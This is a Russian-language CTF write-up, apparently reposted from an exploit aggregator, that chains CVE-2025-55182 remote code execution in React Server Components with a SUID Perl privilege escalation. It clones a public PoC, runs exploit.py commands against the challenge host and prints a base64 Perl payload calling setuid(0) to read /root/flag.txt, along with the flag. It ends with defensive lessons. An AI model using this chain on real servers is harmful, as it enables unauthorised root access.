## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ABDULLAHMAQBOOL22-EXPLOSIVE-AS-HELL-MCS-QUALIFER-WEB-500
# CVE-2025-55182 — RCE в React Server Components | Writeup для CTF
> **Категория:** Web Exploitation | **Сложность:** Средняя | **Уязвимость:** Удалённое выполнение кода → Повышение привилегий через SUID
* * *
## TL;DR
Эндпоинт React Server Components, уязвимый для CVE-2025-55182 (RCE) → перебор SUID-бинарников → `/usr/bin/perl` имел установленный SUID → использование POSIX `setuid(0)` в Perl для повышения до root → чтение `/root/flag.txt`.
**Флаг:** `MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}`
* * *
## Шаг 1 — Разведка
**Цель:** `http://challenge.cybermesh.site:30035/`
Целью было React-веб-приложение, использующее **React Server Components (RSC)** — относительно новую архитектуру, которая выполняет компоненты на стороне сервера и передаёт сериализованный вывод обратно клиенту через собственный проводной формат.
Эта архитектура создаёт границу выполнения на стороне сервера. Некорректная обработка входных данных на этой границе — именно то, что использует CVE-2025-55182.
* * *
## Шаг 2 — Уязвимость: CVE-2025-55182
**RCE в React Server Components** — Сервер не фильтрует управляемые пользователем данные перед тем, как они попадают в слой выполнения серверных компонентов. Это позволяет атакующему внедрять shell-команды ОС, которые выполняются в контексте процесса Node.js.
**Цепочка атаки:**
1. Атакующий формирует вредоносную полезную нагрузку RSC
2. Сервер десериализует входные данные и передаёт неочищенные значения в функцию серверного компонента
3. Выполняется команда ОС, вывод передаётся обратно в ответе RSC
4. Атакующий считывает вывод команды из тела ответа
* * *
## Шаг 3 — Подготовка эксплойта
Существует публичный PoC для этой CVE:
root@kitploit:~
git clone https://github.com/surajhacx/react2shellpoc.git
cd react2shellpoc
Первичная проверка — подтверждение RCE и контекста выполнения:
root@kitploit:~
python exploit.py -t http://challenge.cybermesh.site:30035/ -c "whoami"
**Вывод:**
root@kitploit:~
[+] EXPLOITATION SUCCESSFUL
► app
Сервер работает от пользователя `app`. Не root — требуется повышение.
* * *
## Шаг 4 — Перебор SUID
Сканирование SUID-бинарников:
root@kitploit:~
python exploit.py -t http://challenge.cybermesh.site:30035/ \
-c "find /bin /usr/bin /sbin /usr/sbin -perm -4000 2>/dev/null || true"
**Вывод:**
root@kitploit:~
[+] EXPLOITATION SUCCESSFUL
► /usr/bin/gpasswd
► /usr/bin/perl <--- !!!
► /usr/bin/chsh
► /usr/bin/su
► /usr/bin/chfn
► /usr/bin/umount
► /usr/bin/mount
► /usr/bin/passwd
► /usr/bin/newgrp
У `/usr/bin/perl` **установлен SUID-бит**. Это хорошо известный GTFOBin — когда Perl принадлежит root и имеет SUID, он выполняется с привилегиями root независимо от того, кто его вызывает.
* * *
## Шаг 5 — Повышение привилегий через SUID Perl
Создана полезная нагрузка Perl, закодированная в base64, которая:
* Устанавливает PATH
* Вызывает `POSIX::setuid(0)` для повышения до root
* Открывает и читает `/root/flag.txt`
Отправлена через эндпоинт RCE:
root@kitploit:~
python exploit.py \
-t http://challenge.cybermesh.site:30035/ \
-c "echo dXNlIFBPU0lYOyRFTlZ7UEFUSH09Jy9iaW46L3Vzci9iaW4nO3NldHVpZCgwKTtvcGVuKG15JHZkQzlmbGFnLCc8JywgJy9yb290L2ZsYWcudHh0Jyk7cHJpbnQgd2hpbGUoPCR2ZEM+KTs= | base64 -d > /tmp/p.pl && /usr/bin/perl /tmp/p.pl"
**Расшифрованная полезная нагрузка примерно такая:**
root@kitploit:~
use POSIX;
$ENV{PATH}='/bin:/usr/bin';
setuid(0);
open(my $vdC9flag,'<', '/root/flag.txt');
print while(<$vdC9flag>);
**Вывод:**
root@kitploit:~
[+] EXPLOITATION SUCCESSFUL
► MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}
* * *
## Флаг
root@kitploit:~
MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}
* * *
## Ключевые выводы
**1\. Поверхность атаки RSC недооценена.** React Server Components — новая парадигма. Многие развёртывания не защищены от инъекций входных данных на границе серверных компонентов. Эта CVE напоминает, что «серверный рендеринг» сам по себе небезопасен — граница выполнения всё равно требует правильной фильтрации.
**2\. SUID на интерпретируемых средах выполнения = мгновенный root.** `/usr/bin/perl` с SUID — классическая ошибка конфигурации. GTFOBins подробно это описывает. Никогда не устанавливайте SUID-бит на скриптовые языки (Perl, Python, Ruby и т.д.) — в отличие от скомпилированных бинарников, предназначенных для SUID (su, passwd), эти среды предоставляют тривиальные пути повышения привилегий.
**3\. Флаг самосознательный.** `SU1D_AR3_FUN_BUT_N0T_EVERYTIM3` — задание было явно спроектировано с использованием SUID Perl как предполагаемого пути повышения. Чистая цепочка.
* * *
## Краткое описание цепочки атаки
root@kitploit:~
CVE-2025-55182 (RSC RCE)
└─> whoami → пользователь "app"
└─> поиск SUID-бинарников
└─> /usr/bin/perl (SUID root) обнаружен
└─> base64 полезная нагрузка Perl → запись в /tmp/p.pl
└─> SUID perl /tmp/p.pl → setuid(0) → cat /root/flag.txt
└─> ФЛАГ ✓
* * *
## Ссылки
* github.com/surajhacx/react2shellpoc
* GTFOBins — perl SUID
* NVD — CVE-2025-55182
* * *
_Написал Abdullah Maqbool — Penetration Testing Engineer @ TISS | CRTA · CRTOM · CompTIA PenTest+_